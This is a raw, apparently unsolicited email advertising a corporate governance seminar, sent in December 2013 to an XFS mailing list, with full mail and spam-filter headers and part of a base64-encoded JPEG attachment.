cipher=AES128-SHA bits=128 verify=NO) for ; Sun, 22 Dec 2013 04:27:36 -0800 (PST) X-Barracuda-Envelope-From: corporate@media-namibia.com X-Barracuda-Apparent-Source-IP: 213.133.104.102 Received: from [41.198.16.102] (helo=HenriPCfritzbox) by www102.nur4.host-h.net with esmtpa (Exim 4.80) (envelope-from ) id 1Vui83-0004he-BZ for xfs@oss.sgi.com; Sun, 22 Dec 2013 13:27:35 +0100 MIME-Version: 1.0 From: "Corporate Seminar" Reply-To: partner@corporategovconsult.com To: xfs@oss.sgi.com Subject: Corporate Governance Seminar Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_001_4010_2C2041D3.2CC27ACE" X-ASG-Orig-Subj: Corporate Governance Seminar X-Mailer: SmartSend.2.0.127 Date: Sun, 22 Dec 2013 14:27:11 +0200 Message-ID: <8068407608962747513371@Henri-PC> X-Authenticated-Sender: corporate@media-namibia.com X-Virus-Scanned: Clear (ClamAV 0.97.8/18271/Sun Dec 22 06:45:46 2013) X-Barracuda-Connect: www102.nur4.host-h.net[213.133.104.102] X-Barracuda-Start-Time: 1387715256 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.68 X-Barracuda-Spam-Status: No, SCORE=2.68 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=EXTRA_MPART_TYPE, HTML_IMAGE_ONLY_12, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143301 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 1.63 HTML_IMAGE_ONLY_12 BODY: HTML: images with 800-1200 bytes of words 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag ------=_NextPart_001_4010_2C2041D3.2CC27ACE Content-Type: text/html Content-Transfer-Encoding: quoted-printable

    Your invitation to = book your seat at this seminar...

    3D""<= /FONT>

    Should you wi= sh to not receive any further communication from Corporate Governance Consu= lt, kindly make use of our automated unsubscribe

    feature by cl= icking HERE

    <= /BODY> ------=_NextPart_001_4010_2C2041D3.2CC27ACE Content-Type: image/jpeg; name="corporate governance.jpg" Content-Transfer-Encoding: base64 Content-ID: <1898495585-1> /9j/4AAQSkZJRgABAQEAZABkAAD/4RDcRXhpZgAATU0AKgAAAAgABAE7AAIAAAAGAAAISodpAAQA AAABAAAIUJydAAEAAAAMAAAQyOocAAcAAAgMAAAAPgAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEhlbnJpAAAFkAMAAgAA ABQAABCekAQAAgAAABQAABCykpEAAgAAAAMzMQAAkpIAAgAAAAMzMQAA6hwABwAACAwAAAiSAAAA ABzqAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAMjAxMzoxMjoxOCAwOTowNToyNAAyMDEzOjEyOjE4IDA5OjA1OjI0AAAASABlAG4A cgBpAAAA/+IMWElDQ19QUk9GSUxFAAEBAAAMSExpbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYA MQAAYWNzcE1TRlQAAAAASUVDIHNSR0IAAAAAAAAAAAAAAAAAAPbWAAEAAAAA0y1IUCAgAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVz YwAAAYQAAABsd3RwdAAAAfAAAAAUYmtwdAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAU YlhZWgAAAkAAAAAUZG1uZAAAAlQAAABwZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QA AAAkbHVtaQAAA/gAAAAUbWVhcwAABAwAAAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAA BDwAAAgMYlRSQwAABDwAAAgMdGV4dAAAAABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNr YXJkIENvbXBhbnkAAGRlc2MAAAAAAAAAEnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JH QiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAFhZWiAAAAAAAADzUQABAAAAARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAA b6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAA AAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMu Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAA AAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAA AAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAA AAAAAAAAAAAAAAAAAGRlc2MAAAAAAAAALFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJ RUM2MTk2Ni0yLjEAAAAAAAAAAAAAACxSZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVD NjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD 7cwABBMLAANcngAAAAFYWVogAAAAAABMCVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAA AAAAAAAAAAKPAAAAAnNpZyAAAAAAQ1JUIGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAt ADIANwA7AEAARQBKAE8AVABZAF4AYwBoAG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcA vADBAMYAywDQANUA2wDgAOUA6wDwAPYA+wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFg AWcBbgF1AXwBgwGLAZIBmgGhAakBsQG5AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkEC SwJUAl0CZwJxAnoChAKOApgCogKsArYCwQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNy A34DigOWA6IDrgO6A8cD0wPgA+wD+QQGBBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE 8AT+BQ0FHAUrBToFSQVYBWcFdwWGBZYFpgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQav BsAG0QbjBvUHBwcZBysHPQdPB2EHdAeGB5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I 0gjnCPsJEAklCToJTwlkCXkJjwmkCboJzwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5 C1ELaQuAC5gLsAvIC+EL+QwSDCoMQwxcDHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgO Ew4uDkkOZA5/DpsOtg7SDu4PCQ8lD0EPXg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExEx EU8RbRGMEaoRyRHoEgcSJhJFEmQShBKjEsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0U zhTwFRIVNBVWFXgVmxW9FeAWAxYmFkkWbBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihiv GNUY+hkgGUUZaxmRGbcZ3RoEGioaURp3Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUd Hh1HHXAdmR3DHeweFh5AHmoelB6+HukfEx8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHO IfsiJyJVIoIiryLdIwojOCNmI5QjwiPwJB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3Jugn GCdJJ3onqyfcKA0oPyhxKKIo1CkGKTgpaymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyi LNctDC1BLXYtqy3hLhYuTC6CLrcu7i8kL1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy 1DMNM0YzfzO4M/E0KzRlNJ402DUTNU01hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlC OX85vDn5OjY6dDqyOu87LTtrO6o76DwnPGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNA ZECmQOdBKUFqQaxB7kIwQnJCtUL3QzpDfUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fA SAVIS0iRSNdJHUljSalJ8Eo3Sn1KxEsMS1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP 3VAnUHFQu1EGUVBRm1HmUjFSfFLHUxNTX1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4Fgv WH1Yy1kaWWlZuFoHWlZaplr1W0VblVvlXDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxh T2GiYfViSWKcYvBjQ2OXY+tkQGSUZOllPWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqf avdrT2una/9sV2yvbQhtYG25bhJua27Ebx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0 zHUodYV14XY+dpt2+HdWd7N4EXhueMx5KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8j f4R/5YBHgKiBCoFrgc2CMIKSgvSDV4O6hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6K ZIrKizCLlov8jGOMyo0xjZiN/45mjs6PNo+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJ ljSWn5cKl3WX4JhMmLiZJJmQmfyaaJrVm0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobai JqKWowajdqPmpFakx6U4pammGqaLpv2nbqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6h rxavi7AAsHWw6rFgsdayS7LCszizrrQltJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8 IbybvRW9j74KvoS+/796v/XAcMDswWfB48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5 yjjKt8s2y7bMNcy1zTXNtc42zrbPN8+40DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DY ZNjo2WzZ8dp22vvbgNwF3IrdEN2W3hzeot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf 56noMui86Ubp0Opb6uXrcOv77IbtEe2c7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32 +/eK+Bn4qPk4+cf6V/rn+3f8B/yY/Sn9uv5L/tz/bf///+ELGGh0dHA6Ly9ucy5hZG9iZS5jb20v eGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSfvu78nIGlkPSdXNU0wTXBDZWhpSHpyZVN6TlRjemtj OWQnPz4NCjx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iPjxyZGY6UkRGIHhtbG5z OnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+PHJkZjpE ZXNjcmlwdGlvbiByZGY6YWJvdXQ9InV1aWQ6ZmFmNWJkZDUtYmEzZC0xMWRhLWFkMzEtZDMzZDc1 MTgyZjFiIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iLz48cmRm OkRlc2NyaXB0aW9uIHJkZjphYm91dD0idXVpZDpmYWY1YmRkNS1iYTNkLTExZGEtYWQzMS1kMzNk NzUxODJmMWIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+PHhtcDpD cmVhdGVEYXRlPjIwMTMtMTItMThUMDk6MDU6MjQuMzExPC94bXA6Q3JlYXRlRGF0ZT48L3JkZjpE ZXNjcmlwdGlvbj48cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0idXVpZDpmYWY1YmRkNS1iYTNk LTExZGEtYWQzMS1kMzNkNzUxODJmMWIiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxl bWVudHMvMS4xLyI+PGRjOmNyZWF0b3I+PHJkZjpTZXEgeG1sbnM6cmRmPSJodHRwOi8vd3d3Lncz Lm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj48cmRmOmxpPkhlbnJpPC9yZGY6bGk+PC9y ZGY6U2VxPg0KCQkJPC9kYzpjcmVhdG9yPjwvcmRmOkRlc2NyaXB0aW9uPjwvcmRmOlJERj48L3g6 eG1wbWV0YT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgPD94cGFja2V0IGVuZD0ndyc/Pv/bAEMABgQFBgUEBgYFBgcHBggKEAoKCQkKFA4PDBAX FBgYFxQWFhodJR8aGyMcFhYgLCAjJicpKikZHy0wLSgwJSgpKP/bAEMBBwcHCggKEwoKEygaFhoo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKP/AABEIBB0C 6QMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQD BQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygp KjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJma oqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/ xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQID EQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RF RkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqy 